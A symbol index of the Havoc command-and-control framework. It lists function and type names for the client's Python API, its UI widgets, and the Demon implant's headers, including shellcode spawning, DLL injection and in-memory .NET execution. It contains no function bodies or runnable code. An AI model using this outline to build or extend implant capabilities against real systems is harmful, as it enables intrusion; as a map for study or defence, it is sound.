  function PyMODINIT_FUNC (line 45) | PyMODINIT_FUNC PythonAPI::Havoc::PyInit_Havoc( void )
  function PyObject (line 67) | PyObject* PythonAPI::Havoc::Core::Load( PyObject *self, PyObject *args )
  function PyObject (line 89) | PyObject* PythonAPI::Havoc::Core::GetListeners( PyObject *self, PyObject...
  function PyObject (line 105) | PyObject* PythonAPI::Havoc::Core::GetAgents( PyObject *self, PyObject *a...
  function PyObject (line 123) | PyObject* PythonAPI::Havoc::Core::GetDemons( PyObject *self, PyObject *a...
  function PyObject (line 139) | PyObject* PythonAPI::Havoc::Core::GeneratePayload( PyObject *self, PyObj...
  function PyObject (line 188) | PyObject* PythonAPI::Havoc::Core::RegisterCommand( PyObject *self, PyObj...
  function PyObject (line 265) | PyObject* PythonAPI::Havoc::Core::RegisterModule( PyObject *self, PyObje...
  function PyObject (line 321) | PyObject* PythonAPI::Havoc::Core::RegisterCallback( PyObject *self, PyOb...

FILE: client/src/Havoc/PythonApi/HavocUi.cc
  type PythonAPI::HavocUI (line 18) | namespace PythonAPI::HavocUI
    type PyModule (line 34) | namespace PyModule
      type PyModuleDef (line 36) | struct PyModuleDef
  function PyObject (line 46) | PyObject* PythonAPI::HavocUI::Core::CreateTab(PyObject *self, PyObject *...
  function PyObject (line 84) | PyObject* PythonAPI::HavocUI::Core::MessageBox(PyObject *self, PyObject ...
  function PyObject (line 108) | PyObject* PythonAPI::HavocUI::Core::ErrorMessage(PyObject *self, PyObjec...
  function PyObject (line 123) | PyObject* PythonAPI::HavocUI::Core::QuestionDialog(PyObject *self, PyObj...
  function PyObject (line 141) | PyObject* PythonAPI::HavocUI::Core::InputDialog(PyObject *self, PyObject...
  function PyObject (line 154) | PyObject* PythonAPI::HavocUI::Core::OpenFileDialog(PyObject *self, PyObj...
  function PyObject (line 167) | PyObject* PythonAPI::HavocUI::Core::SaveFileDialog(PyObject *self, PyObj...
  function PyObject (line 180) | PyObject* PythonAPI::HavocUI::Core::ColorDialog(PyObject *self, PyObject...
  function PyObject (line 192) | PyObject* PythonAPI::HavocUI::Core::ProgressDialog(PyObject *self, PyObj...
  function PyMODINIT_FUNC (line 241) | PyMODINIT_FUNC PythonAPI::HavocUI::PyInit_HavocUI(void)

FILE: client/src/Havoc/PythonApi/PyAgentClass.cc
  function AgentClass_dealloc (line 69) | void AgentClass_dealloc( PPyAgentClass self )
  function PyObject (line 76) | PyObject* AgentClass_new( PyTypeObject *type, PyObject *args, PyObject *...
  function AgentClass_init (line 85) | int AgentClass_init( PPyAgentClass self, PyObject *args, PyObject *kwds )
  function PyObject (line 112) | PyObject* AgentClass_ConsoleWrite( PPyAgentClass self, PyObject *args )
  function PyObject (line 149) | PyObject* AgentClass_Command( PPyAgentClass self, PyObject *args )

FILE: client/src/Havoc/PythonApi/PyDemonClass.cc
  function DemonClass_dealloc (line 100) | void DemonClass_dealloc( PPyDemonClass self )
  function PyObject (line 119) | PyObject* DemonClass_new( PyTypeObject *type, PyObject *args, PyObject *...
  function DemonClass_init (line 128) | int DemonClass_init( PPyDemonClass self, PyObject *args, PyObject *kwds )
  function PyObject (line 179) | PyObject* DemonClass_Shell( PPyDemonClass self, PyObject *args )
  function PyObject (line 200) | PyObject* DemonClass_InlineExecute( PPyDemonClass self, PyObject *args )
  function PyObject (line 250) | PyObject* DemonClass_InlineExecuteGetOutput( PPyDemonClass self, PyObjec...
  function PyObject (line 312) | PyObject* DemonClass_DotnetInlineExecute( PPyDemonClass self, PyObject *...
  function PyObject (line 333) | PyObject* DemonClass_Command( PPyDemonClass self, PyObject *args )
  function PyObject (line 353) | PyObject* DemonClass_CommandGetOutput( PPyDemonClass self, PyObject *args )
  function PyObject (line 389) | PyObject* DemonClass_ShellcodeSpawn( PPyDemonClass self, PyObject *args )
  function PyObject (line 430) | PyObject* DemonClass_DllInject( PPyDemonClass self, PyObject *args )
  function PyObject (line 453) | PyObject* DemonClass_DllSpawn( PPyDemonClass self, PyObject *args )
  function PyObject (line 491) | PyObject* DemonClass_ProcessCreate( PPyDemonClass self, PyObject *args )
  function PyObject (line 539) | PyObject* DemonClass_ConsoleWrite( PPyDemonClass self, PyObject *args )

FILE: client/src/Havoc/PythonApi/PythonApi.cc
  type emb (line 3) | namespace emb
    function PyObject (line 5) | PyObject* Stdout_write(PyObject* self, PyObject* args)
    function PyObject (line 22) | PyObject* Stdout_flush(PyObject* self, PyObject* args)
    function PyMODINIT_FUNC (line 87) | PyMODINIT_FUNC PyInit_emb(void)
    function set_stdout (line 105) | void set_stdout(stdout_write_type write)
    function reset_stdout (line 118) | void reset_stdout()

FILE: client/src/Havoc/PythonApi/UI/PyDialogClass.cc
  function DialogClass_dealloc (line 86) | void DialogClass_dealloc( PPyDialogClass self )
  function PyObject (line 99) | PyObject* DialogClass_new( PyTypeObject *type, PyObject *args, PyObject ...
  function DialogClass_init (line 121) | int DialogClass_init( PPyDialogClass self, PyObject *args, PyObject *kwds )
  function PyObject (line 155) | PyObject* DialogClass_exec( PPyDialogClass self, PyObject *args )
  function PyObject (line 163) | PyObject* DialogClass_addLabel( PPyDialogClass self, PyObject *args )
  function PyObject (line 177) | PyObject* DialogClass_addImage( PPyDialogClass self, PyObject *args )
  function PyObject (line 193) | PyObject* DialogClass_addButton( PPyDialogClass self, PyObject *args )
  function PyObject (line 219) | PyObject* DialogClass_addCheckbox( PPyDialogClass self, PyObject *args )
  function PyObject (line 248) | PyObject* DialogClass_addCombobox( PPyDialogClass self, PyObject *args )
  function PyObject (line 272) | PyObject* DialogClass_addLineedit( PPyDialogClass self, PyObject *args )
  function PyObject (line 300) | PyObject* DialogClass_addCalendar( PPyDialogClass self, PyObject *args )
  function PyObject (line 329) | PyObject* DialogClass_addDial( PPyDialogClass self, PyObject *args )
  function PyObject (line 352) | PyObject* DialogClass_addSlider( PPyDialogClass self, PyObject *args )
  function PyObject (line 381) | PyObject* DialogClass_replaceLabel( PPyDialogClass self, PyObject *args )
  function PyObject (line 405) | PyObject* DialogClass_close( PPyDialogClass self, PyObject *args )
  function PyObject (line 412) | PyObject* DialogClass_clear( PPyDialogClass self, PyObject *args )

FILE: client/src/Havoc/PythonApi/UI/PyLoggerClass.cc
  function LoggerClass_dealloc (line 77) | void LoggerClass_dealloc( PPyLoggerClass self )
  function PyObject (line 86) | PyObject* LoggerClass_new( PyTypeObject *type, PyObject *args, PyObject ...
  function LoggerClass_init (line 95) | int LoggerClass_init( PPyLoggerClass self, PyObject *args, PyObject *kwds )
  function PyObject (line 123) | PyObject* LoggerClass_setBottomTab( PPyLoggerClass self, PyObject *args )
  function PyObject (line 130) | PyObject* LoggerClass_setSmallTab( PPyLoggerClass self, PyObject *args )
  function PyObject (line 137) | PyObject* LoggerClass_addText( PPyLoggerClass self, PyObject *args )
  function PyObject (line 149) | PyObject* LoggerClass_clear( PPyLoggerClass self, PyObject *args )

FILE: client/src/Havoc/PythonApi/UI/PyTreeClass.cc
  function TreeClass_dealloc (line 78) | void TreeClass_dealloc( PPyTreeClass self )
  function PyObject (line 91) | PyObject* TreeClass_new( PyTypeObject *type, PyObject *args, PyObject *k...
  function TreeClass_init (line 112) | int TreeClass_init( PPyTreeClass self, PyObject *args, PyObject *kwds )
  function PyObject (line 181) | PyObject* TreeClass_setBottomTab( PPyTreeClass self, PyObject *args )
  function PyObject (line 188) | PyObject* TreeClass_setSmallTab( PPyTreeClass self, PyObject *args )
  function PyObject (line 195) | PyObject* TreeClass_addRow( PPyTreeClass self, PyObject *args )
  function PyObject (line 218) | PyObject* TreeClass_setItem( PPyTreeClass self, PyObject *args )
  function PyObject (line 233) | PyObject* TreeClass_setPanel( PPyTreeClass self, PyObject *args )

FILE: client/src/Havoc/PythonApi/UI/PyWidgetClass.cc
  function WidgetClass_dealloc (line 86) | void WidgetClass_dealloc( PPyWidgetClass self )
  function PyObject (line 99) | PyObject* WidgetClass_new( PyTypeObject *type, PyObject *args, PyObject ...
  function WidgetClass_init (line 119) | int WidgetClass_init( PPyWidgetClass self, PyObject *args, PyObject *kwds )
  function PyObject (line 149) | PyObject* WidgetClass_addLabel( PPyWidgetClass self, PyObject *args )
  function PyObject (line 163) | PyObject* WidgetClass_addImage( PPyWidgetClass self, PyObject *args )
  function PyObject (line 179) | PyObject* WidgetClass_setBottomTab( PPyWidgetClass self, PyObject *args )
  function PyObject (line 186) | PyObject* WidgetClass_setSmallTab( PPyWidgetClass self, PyObject *args )
  function PyObject (line 193) | PyObject* WidgetClass_addButton( PPyWidgetClass self, PyObject *args )
  function PyObject (line 219) | PyObject* WidgetClass_addCheckbox( PPyWidgetClass self, PyObject *args )
  function PyObject (line 248) | PyObject* WidgetClass_addCombobox( PPyWidgetClass self, PyObject *args )
  function PyObject (line 272) | PyObject* WidgetClass_addLineedit( PPyWidgetClass self, PyObject *args )
  function PyObject (line 300) | PyObject* WidgetClass_addCalendar( PPyWidgetClass self, PyObject *args )
  function PyObject (line 329) | PyObject* WidgetClass_addDial( PPyWidgetClass self, PyObject *args )
  function PyObject (line 352) | PyObject* WidgetClass_addSlider( PPyWidgetClass self, PyObject *args )
  function PyObject (line 381) | PyObject* WidgetClass_replaceLabel( PPyWidgetClass self, PyObject *args )
  function PyObject (line 405) | PyObject* WidgetClass_clear( PPyWidgetClass self, PyObject *args )

FILE: client/src/Main.cc
  function main (line 5) | auto main(

FILE: client/src/UserInterface/Dialogs/Listener.cc
  function is_number (line 17) | bool is_number( const std::string& s )
  function MapStrStr (line 450) | MapStrStr NewListener::Start( Util::ListenerItem Item, bool Edit )

FILE: client/src/UserInterface/Widgets/DemonInteracted.cc
  function QString (line 281) | QString DemonInteracted::TaskInfo( bool Show, QString TaskID, const QStr...
  function QString (line 296) | QString DemonInteracted::TaskError( const QString &text ) const

FILE: client/src/UserInterface/Widgets/FileBrowser.cc
  function JoinAtIndex (line 10) | static auto JoinAtIndex( QStringList list, int index, QString sep ) -> Q...
  function PathGetParent (line 25) | auto PathGetParent( QString MainPath ) -> QString

FILE: client/src/UserInterface/Widgets/LootWidget.cc
  function QPixmap (line 39) | const QPixmap* ImageLabel::pixmap() const

FILE: client/src/UserInterface/Widgets/SessionGraph.cc
  function Node (line 54) | Node* GraphWidget::GraphNodeAdd( SessionItem Session )
  function Node (line 309) | Node *GraphWidget::GraphNodeGet( QString AgentID )
  function Node (line 453) | Node* GraphWidget::nextLeft(Node* v)
  function Node (line 462) | Node* GraphWidget::nextRight(Node* v)
  function Node (line 471) | Node* GraphWidget::ancestor(Node* vim, Node* v, Node*& defaultAncestor)
  function Node (line 519) | Node* Edge::sourceNode() const
  function Node (line 524) | Node* Edge::destNode() const
  function QRectF (line 822) | QRectF Edge::boundingRect() const
  function QRectF (line 899) | QRectF Node::boundingRect() const
  function QPainterPath (line 950) | QPainterPath Node::shape() const
  function QVariant (line 1007) | QVariant Node::itemChange( GraphicsItemChange change, const QVariant& va...

FILE: client/src/Util/Base.cpp
  function FileRead (line 3) | auto FileRead( const QString& FilePath ) -> QByteArray
  function MessageBox (line 29) | auto MessageBox( QString Title, QString Text, QMessageBox::Icon Icon ) -...
  function WinVersionIcon (line 40) | auto WinVersionIcon( QString OSVersion, bool High ) -> QIcon
  function WinVersionImage (line 114) | auto WinVersionImage( QString OSVersion, bool High ) -> QImage
  function CurrentDateTime (line 188) | auto CurrentDateTime(
  function CurrentTime (line 194) | auto CurrentTime(
  function GrayScale (line 200) | auto GrayScale(

FILE: client/src/Util/ColorText.cpp
  function QString (line 45) | QString HavocNamespace::Util::ColorText::Color(const QString& color, con...
  function QString (line 50) | QString HavocNamespace::Util::ColorText::Background(const QString& text)
  function QString (line 55) | QString HavocNamespace::Util::ColorText::Foreground(const QString& text) {
  function QString (line 59) | QString HavocNamespace::Util::ColorText::Comment(const QString& text) {
  function QString (line 63) | QString HavocNamespace::Util::ColorText::Cyan(const QString& text) {
  function QString (line 67) | QString HavocNamespace::Util::ColorText::Green(const QString& text) {
  function QString (line 71) | QString HavocNamespace::Util::ColorText::Orange(const QString& text) {
  function QString (line 75) | QString HavocNamespace::Util::ColorText::Pink(const QString& text) {
  function QString (line 79) | QString HavocNamespace::Util::ColorText::Purple(const QString& text) {
  function QString (line 83) | QString HavocNamespace::Util::ColorText::Red(const QString& text) {
  function QString (line 87) | QString HavocNamespace::Util::ColorText::Yellow(const QString& text) {
  function QString (line 91) | QString HavocNamespace::Util::ColorText::Bold(const QString& text) {
  function QString (line 95) | QString HavocNamespace::Util::ColorText::Underline(const QString &text) {
  function QString (line 99) | QString HavocNamespace::Util::ColorText::UnderlineBackground(const QStri...
  function QString (line 103) | QString HavocNamespace::Util::ColorText::UnderlineForeground(const QStri...
  function QString (line 107) | QString HavocNamespace::Util::ColorText::UnderlineComment(const QString ...
  function QString (line 111) | QString HavocNamespace::Util::ColorText::UnderlineCyan(const QString &te...
  function QString (line 115) | QString HavocNamespace::Util::ColorText::UnderlineGreen(const QString &t...
  function QString (line 119) | QString HavocNamespace::Util::ColorText::UnderlineOrange(const QString &...
  function QString (line 123) | QString HavocNamespace::Util::ColorText::UnderlinePink(const QString &te...
  function QString (line 127) | QString HavocNamespace::Util::ColorText::UnderlinePurple(const QString &...
  function QString (line 131) | QString HavocNamespace::Util::ColorText::UnderlineRed(const QString &tex...
  function QString (line 135) | QString HavocNamespace::Util::ColorText::UnderlineYellow(const QString &...

FILE: payloads/Demon/include/Demon.h
  type KAYN_ARGS (line 37) | typedef struct
  type INSTANCE (line 48) | typedef struct

FILE: payloads/Demon/include/common/Clr.h
  type ICLRMetaHost (line 15) | typedef struct _ICLRMetaHost    ICLRMetaHost;
  type ICLRRuntimeInfo (line 16) | typedef struct _ICLRRuntimeInfo ICLRRuntimeInfo;
  type IAppDomain (line 17) | typedef struct _AppDomain       IAppDomain;
  type IAssembly (line 18) | typedef struct _Assembly        IAssembly;
  type IType (line 19) | typedef struct _Type            IType;
  type IBinder (line 20) | typedef struct _Binder          IBinder;
  type IMethodInfo (line 21) | typedef struct _MethodInfo      IMethodInfo;
  type ICLRMetaHost (line 23) | typedef ICLRMetaHost    *PICLRMetaHost;
  type ICLRRuntimeInfo (line 24) | typedef ICLRRuntimeInfo *PICLRRuntimeInfo;
  type IAssembly (line 25) | typedef IAssembly       *PIAssembly;
  type IEnumUnknown (line 26) | typedef IEnumUnknown    *PIEnumUnknown;
  type IUnknown (line 27) | typedef IUnknown        *PIUnknown;
  type ICorRuntimeHost (line 28) | typedef ICorRuntimeHost *PICorRuntimeHost;
  type HRESULT (line 32) | typedef HRESULT(__stdcall* CLRCreateInstanceFnPtr)(
  type HRESULT (line 37) | typedef HRESULT(__stdcall* CreateInterfaceFnPtr)(
  type HRESULT (line 43) | typedef HRESULT(__stdcall* CallbackThreadSetFnPtr)(void);
  type HRESULT (line 45) | typedef HRESULT(__stdcall* CallbackThreadUnsetFnPtr)(void);
  type BinderVtbl (line 55) | typedef struct _BinderVtbl {
  type Binder (line 83) | typedef struct _Binder {
  type AppDomainVtbl (line 90) | typedef struct _AppDomainVtbl {
  type AppDomain (line 181) | typedef struct _AppDomain {
  type AssemblyVtbl (line 188) | typedef struct _AssemblyVtbl {
  type BindingFlags (line 263) | typedef enum _BindingFlags {
  type Assembly (line 286) | typedef struct _Assembly {
  type TypeVtbl (line 293) | typedef struct _TypeVtbl {
  type ICLRRuntimeInfoVtbl (line 433) | typedef struct ICLRRuntimeInfoVtbl
  type ICLRRuntimeInfo (line 517) | typedef struct _ICLRRuntimeInfo {
  type Type (line 521) | typedef struct _Type {
  type ICLRMetaHostVtbl (line 525) | typedef struct ICLRMetaHostVtbl
  type ICLRMetaHost (line 579) | typedef struct _ICLRMetaHost
  type MethodInfoVtbl (line 588) | typedef struct _MethodInfoVtbl {
  type MethodInfo (line 656) | typedef struct _MethodInfo {
  type DOTNET_ARGS (line 660) | typedef struct _DOTNET_ARGS

FILE: payloads/Demon/include/common/Native.h
  type LONG (line 41) | typedef LONG NTSTATUS;
  type NTSTATUS (line 42) | typedef NTSTATUS *PNTSTATUS;
  type LONG (line 46) | typedef LONG SECURITY_STATUS;
  type CCHAR (line 354) | typedef char CCHAR;
  type CSHORT (line 355) | typedef short CSHORT;
  type CCHAR (line 356) | typedef CCHAR *PCCHAR;
  type CSHORT (line 357) | typedef CSHORT *PCSHORT;
  type ULONG (line 358) | typedef ULONG CLONG;
  type ULONG (line 359) | typedef ULONG *PCLONG;
  type ULONG (line 361) | typedef ULONG LOGICAL;
  type ULONG (line 362) | typedef ULONG *PLOGICAL;
  type LONG (line 364) | typedef LONG KPRIORITY;
  type STRING (line 366) | typedef struct _STRING
  type STRING (line 373) | typedef STRING *PSTRING;
  type STRING (line 375) | typedef STRING ANSI_STRING;
  type PSTRING (line 376) | typedef PSTRING PANSI_STRING;
  type STRING (line 378) | typedef STRING OEM_STRING;
  type PSTRING (line 379) | typedef PSTRING POEM_STRING;
  type CONST (line 380) | typedef CONST STRING* PCOEM_STRING;
  type CSTRING (line 382) | typedef struct _CSTRING
  type CSTRING (line 388) | typedef CSTRING *PCSTRING;
  type STRING (line 391) | typedef STRING CANSI_STRING;
  type PSTRING (line 392) | typedef PSTRING PCANSI_STRING;
  type UNICODE_STRING (line 394) | typedef struct _UNICODE_STRING
  type UNICODE_STRING (line 400) | typedef const UNICODE_STRING *PCUNICODE_STRING;
  type STRING32 (line 402) | typedef struct _STRING32
  type STRING32 (line 408) | typedef STRING32 *PSTRING32;
  type STRING32 (line 410) | typedef STRING32 UNICODE_STRING32;
  type UNICODE_STRING32 (line 411) | typedef UNICODE_STRING32 *PUNICODE_STRING32;
  type STRING32 (line 414) | typedef STRING32 ANSI_STRING32;
  type ANSI_STRING32 (line 415) | typedef ANSI_STRING32 *PANSI_STRING32;
  type STRING64 (line 417) | typedef struct _STRING64
  type STRING64 (line 424) | typedef STRING64 *PSTRING64;
  type STRING64 (line 426) | typedef STRING64 UNICODE_STRING64;
  type UNICODE_STRING64 (line 427) | typedef UNICODE_STRING64 *PUNICODE_STRING64;
  type STRING64 (line 429) | typedef STRING64 ANSI_STRING64;
  type ANSI_STRING64 (line 430) | typedef ANSI_STRING64 *PANSI_STRING64;
  type USHORT (line 432) | typedef USHORT RTL_ATOM;
  type RTL_ATOM (line 433) | typedef RTL_ATOM *PRTL_ATOM;
  type UCHAR (line 435) | typedef UCHAR KIRQL;
  type KIRQL (line 436) | typedef KIRQL *PKIRQL;
  type CONST (line 438) | typedef CONST char *PCSZ;
  type LARGE_INTEGER (line 440) | typedef LARGE_INTEGER PHYSICAL_ADDRESS, *PPHYSICAL_ADDRESS;
  type LIST_ENTRY (line 444) | typedef struct _LIST_ENTRY {
  type TRIPLE_LIST_ENTRY (line 456) | typedef struct _TRIPLE_LIST_ENTRY
  type OBJECT_ATTRIBUTES (line 505) | typedef struct _OBJECT_ATTRIBUTES
  type OBJECT_ATTRIBUTES (line 514) | typedef OBJECT_ATTRIBUTES *POBJECT_ATTRIBUTES;
  type CONST (line 515) | typedef CONST OBJECT_ATTRIBUTES
  type OBJECT_DIRECTORY_INFORMATION (line 527) | typedef struct _OBJECT_DIRECTORY_INFORMATION {
  type PROCESSOR_NUMBER (line 534) | typedef struct _PROCESSOR_NUMBER {
  type CSV_NAMESPACE_INFO (line 888) | typedef struct _CSV_NAMESPACE_INFO {
  type PATHNAME_BUFFER (line 902) | typedef struct _PATHNAME_BUFFER {
  type FSCTL_QUERY_FAT_BPB_BUFFER (line 909) | typedef struct _FSCTL_QUERY_FAT_BPB_BUFFER {
  type NTFS_VOLUME_DATA_BUFFER (line 917) | typedef struct {
  type NTFS_EXTENDED_VOLUME_DATA (line 936) | typedef struct {
  type STARTING_LCN_INPUT_BUFFER (line 948) | typedef struct {
  type VOLUME_BITMAP_BUFFER (line 954) | typedef struct {
  type STARTING_VCN_INPUT_BUFFER (line 965) | typedef struct {
  type RETRIEVAL_POINTERS_BUFFER (line 971) | typedef struct RETRIEVAL_POINTERS_BUFFER {
  type NTFS_FILE_RECORD_INPUT_BUFFER (line 985) | typedef struct {
  type NTFS_FILE_RECORD_OUTPUT_BUFFER (line 991) | typedef struct {
  type MOVE_FILE_DATA (line 1002) | typedef struct {
  type MOVE_FILE_RECORD_DATA (line 1011) | typedef struct {
  type MOVE_FILE_DATA32 (line 1022) | typedef struct _MOVE_FILE_DATA32 {
  type FIND_BY_SID_DATA (line 1035) | typedef struct {
  type FIND_BY_SID_OUTPUT (line 1040) | typedef struct {
  type MFT_ENUM_DATA (line 1051) | typedef struct {
  type CREATE_USN_JOURNAL_DATA (line 1059) | typedef struct {
  type READ_USN_JOURNAL_DATA (line 1066) | typedef struct {
  type USN_RECORD (line 1077) | typedef struct {
  type USN_JOURNAL_DATA (line 1121) | typedef struct {
  type DELETE_USN_JOURNAL_DATA (line 1133) | typedef struct {
  type MARK_HANDLE_INFO (line 1145) | typedef struct {
  type MARK_HANDLE_INFO32 (line 1155) | typedef struct {
  type BULK_SECURITY_TEST_DATA (line 1188) | typedef struct {
  type FILE_PREFETCH (line 1205) | typedef struct _FILE_PREFETCH {
  type FILE_PREFETCH_EX (line 1211) | typedef struct _FILE_PREFETCH_EX {
  type FILESYSTEM_STATISTICS (line 1227) | typedef struct _FILESYSTEM_STATISTICS {
  type FAT_STATISTICS (line 1254) | typedef struct _FAT_STATISTICS {
  type EXFAT_STATISTICS (line 1268) | typedef struct _EXFAT_STATISTICS {
  type NTFS_STATISTICS (line 1282) | typedef struct _NTFS_STATISTICS {
  type FILE_OBJECTID_BUFFER (line 1384) | typedef struct _FILE_OBJECTID_BUFFER {
  type FILE_SET_SPARSE_BUFFER (line 1410) | typedef struct _FILE_SET_SPARSE_BUFFER {
  type FILE_ZERO_DATA_INFORMATION (line 1421) | typedef struct _FILE_ZERO_DATA_INFORMATION {
  type FILE_ALLOCATED_RANGE_BUFFER (line 1431) | typedef struct _FILE_ALLOCATED_RANGE_BUFFER {
  type ENCRYPTION_BUFFER (line 1442) | typedef struct _ENCRYPTION_BUFFER {
  type DECRYPTION_STATUS_BUFFER (line 1456) | typedef struct _DECRYPTION_STATUS_BUFFER {
  type REQUEST_RAW_ENCRYPTED_DATA (line 1466) | typedef struct _REQUEST_RAW_ENCRYPTED_DATA {
  type ENCRYPTED_DATA_INFO (line 1473) | typedef struct _ENCRYPTED_DATA_INFO {
  type ENCRYPTED_DATA_INFO (line 1496) | typedef ENCRYPTED_DATA_INFO *PENCRYPTED_DATA_INFO;
  type PLEX_READ_DATA_REQUEST (line 1502) | typedef struct _PLEX_READ_DATA_REQUEST {
  type SI_COPYFILE (line 1513) | typedef struct _SI_COPYFILE {
  type FILE_MAKE_COMPATIBLE_BUFFER (line 1527) | typedef struct _FILE_MAKE_COMPATIBLE_BUFFER {
  type FILE_SET_DEFECT_MGMT_BUFFER (line 1532) | typedef struct _FILE_SET_DEFECT_MGMT_BUFFER {
  type FILE_QUERY_SPARING_BUFFER (line 1537) | typedef struct _FILE_QUERY_SPARING_BUFFER {
  type FILE_QUERY_ON_DISK_VOL_INFO_BUFFER (line 1545) | typedef struct _FILE_QUERY_ON_DISK_VOL_INFO_BUFFER {
  type SHRINK_VOLUME_REQUEST_TYPES (line 1567) | typedef enum _SHRINK_VOLUME_REQUEST_TYPES
  type SHRINK_VOLUME_INFORMATION (line 1575) | typedef struct _SHRINK_VOLUME_INFORMATION
  type TXFS_MODIFY_RM (line 1628) | typedef struct _TXFS_MODIFY_RM {
  type TXFS_QUERY_RM_INFORMATION (line 1700) | typedef struct _TXFS_QUERY_RM_INFORMATION {
  type TXFS_ROLLFORWARD_REDO_INFORMATION (line 1802) | typedef struct _TXFS_ROLLFORWARD_REDO_INFORMATION {
  type TXFS_START_RM_INFORMATION (line 1840) | typedef struct _TXFS_START_RM_INFORMATION {
  type TXFS_GET_METADATA_INFO_OUT (line 1930) | typedef struct _TXFS_GET_METADATA_INFO_OUT {
  type TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY (line 1964) | typedef struct _TXFS_LIST_TRANSACTION_LOCKED_FILES_ENTRY {
  type TXFS_LIST_TRANSACTION_LOCKED_FILES (line 2002) | typedef struct _TXFS_LIST_TRANSACTION_LOCKED_FILES {
  type TXFS_LIST_TRANSACTIONS_ENTRY (line 2035) | typedef struct _TXFS_LIST_TRANSACTIONS_ENTRY {
  type TXFS_LIST_TRANSACTIONS (line 2058) | typedef struct _TXFS_LIST_TRANSACTIONS {
  type TXFS_READ_BACKUP_INFORMATION_OUT (line 2081) | typedef struct _TXFS_READ_BACKUP_INFORMATION_OUT {
  type TXFS_WRITE_BACKUP_INFORMATION (line 2104) | typedef struct _TXFS_WRITE_BACKUP_INFORMATION {
  type TXFS_GET_TRANSACTED_VERSION (line 2111) | typedef struct _TXFS_GET_TRANSACTED_VERSION {
  type TXFS_SAVEPOINT_INFORMATION (line 2172) | typedef struct _TXFS_SAVEPOINT_INFORMATION {
  type TXFS_CREATE_MINIVERSION_INFO (line 2179) | typedef struct _TXFS_CREATE_MINIVERSION_INFO {
  type TXFS_TRANSACTION_ACTIVE_INFO (line 2188) | typedef struct _TXFS_TRANSACTION_ACTIVE_INFO {
  type BOOT_AREA_INFO (line 2197) | typedef struct _BOOT_AREA_INFO {
  type RETRIEVAL_POINTER_BASE (line 2206) | typedef struct _RETRIEVAL_POINTER_BASE {
  type FILE_FS_PERSISTENT_VOLUME_INFORMATION (line 2211) | typedef struct _FILE_FS_PERSISTENT_VOLUME_INFORMATION {
  type FILE_SYSTEM_RECOGNITION_INFORMATION (line 2220) | typedef struct _FILE_SYSTEM_RECOGNITION_INFORMATION {
  type REQUEST_OPLOCK_INPUT_BUFFER (line 2236) | typedef struct _REQUEST_OPLOCK_INPUT_BUFFER {
  type REQUEST_OPLOCK_OUTPUT_BUFFER (line 2263) | typedef struct _REQUEST_OPLOCK_OUTPUT_BUFFER {
  type SD_CHANGE_MACHINE_SID_INPUT (line 2284) | typedef struct _SD_CHANGE_MACHINE_SID_INPUT {
  type SD_CHANGE_MACHINE_SID_OUTPUT (line 2294) | typedef struct _SD_CHANGE_MACHINE_SID_OUTPUT {
  type SD_GLOBAL_CHANGE_INPUT (line 2349) | typedef struct _SD_GLOBAL_CHANGE_INPUT
  type SD_GLOBAL_CHANGE_OUTPUT (line 2371) | typedef struct _SD_GLOBAL_CHANGE_OUTPUT
  type EXTENDED_ENCRYPTED_DATA_INFO (line 2405) | typedef struct _EXTENDED_ENCRYPTED_DATA_INFO {
  type LOOKUP_STREAM_FROM_CLUSTER_INPUT (line 2415) | typedef struct _LOOKUP_STREAM_FROM_CLUSTER_INPUT {
  type LOOKUP_STREAM_FROM_CLUSTER_OUTPUT (line 2421) | typedef struct _LOOKUP_STREAM_FROM_CLUSTER_OUTPUT {
  type LOOKUP_STREAM_FROM_CLUSTER_ENTRY (line 2437) | typedef struct _LOOKUP_STREAM_FROM_CLUSTER_ENTRY {
  type FILE_TYPE_NOTIFICATION_INPUT (line 2445) | typedef struct _FILE_TYPE_NOTIFICATION_INPUT {
  type SYSDBG_COMMAND (line 2467) | typedef enum _SYSDBG_COMMAND
  type SYSDBG_VIRTUAL (line 2508) | typedef struct _SYSDBG_VIRTUAL
  type SYSDBG_PHYSICAL (line 2515) | typedef struct _SYSDBG_PHYSICAL
  type SYSDBG_CONTROL_SPACE (line 2522) | typedef struct _SYSDBG_CONTROL_SPACE
  type INTERFACE_TYPE (line 2530) | typedef enum _INTERFACE_TYPE
  type SYSDBG_IO_SPACE (line 2535) | typedef struct _SYSDBG_IO_SPACE
  type SYSDBG_MSR (line 2545) | typedef struct _SYSDBG_MSR
  type BUS_DATA_TYPE (line 2551) | typedef enum _BUS_DATA_TYPE
  type SYSDBG_BUS_DATA (line 2569) | typedef struct _SYSDBG_BUS_DATA
  type SYSDBG_TRIAGE_DUMP (line 2579) | typedef struct _SYSDBG_TRIAGE_DUMP
  type SYSTEM_INFORMATION_CLASS (line 2592) | typedef enum _SYSTEM_INFORMATION_CLASS
  type EVENT_TRACE_INFORMATION_CLASS (line 2704) | typedef enum _EVENT_TRACE_INFORMATION_CLASS
  type KSPIN_LOCK_QUEUE_NUMBER (line 2723) | typedef enum _KSPIN_LOCK_QUEUE_NUMBER {
  type KPROFILE_SOURCE (line 2745) | typedef enum _KPROFILE_SOURCE {
  type PROCESSINFOCLASS (line 2773) | typedef enum _PROCESSINFOCLASS
  type THREADINFOCLASS (line 2829) | typedef enum _THREADINFOCLASS {
  type PROCESS_TLS_INFORMATION_TYPE (line 2868) | typedef enum _PROCESS_TLS_INFORMATION_TYPE
  type ULONG (line 2939) | typedef ULONG GDI_HANDLE_BUFFER32[GDI_HANDLE_BUFFER_SIZE32];
  type ULONG (line 2940) | typedef ULONG GDI_HANDLE_BUFFER64[GDI_HANDLE_BUFFER_SIZE64];
  type ULONG (line 2941) | typedef ULONG GDI_HANDLE_BUFFER[GDI_HANDLE_BUFFER_SIZE];
  type FILE_INFORMATION_CLASS (line 2950) | typedef enum _FILE_INFORMATION_CLASS
  type FS_INFORMATION_CLASS (line 3005) | typedef enum _FSINFOCLASS {
  type POOL_TYPE (line 3019) | typedef enum _POOL_TYPE {
  type MEMORY_INFORMATION_CLASS (line 3037) | typedef enum _MEMORY_INFORMATION_CLASS
  type REG_NOTIFY_CLASS (line 3046) | typedef enum _REG_NOTIFY_CLASS
  type HAL_QUERY_INFORMATION_CLASS (line 3103) | typedef enum _HAL_QUERY_INFORMATION_CLASS
  type POWER_INFORMATION_LEVEL (line 3133) | enum POWER_INFORMATION_LEVEL {
  type IO_STATUS_BLOCK (line 3178) | typedef struct _IO_STATUS_BLOCK {
  type X86_FLOATING_SAVE_AREA (line 3192) | typedef struct _X86_FLOATING_SAVE_AREA
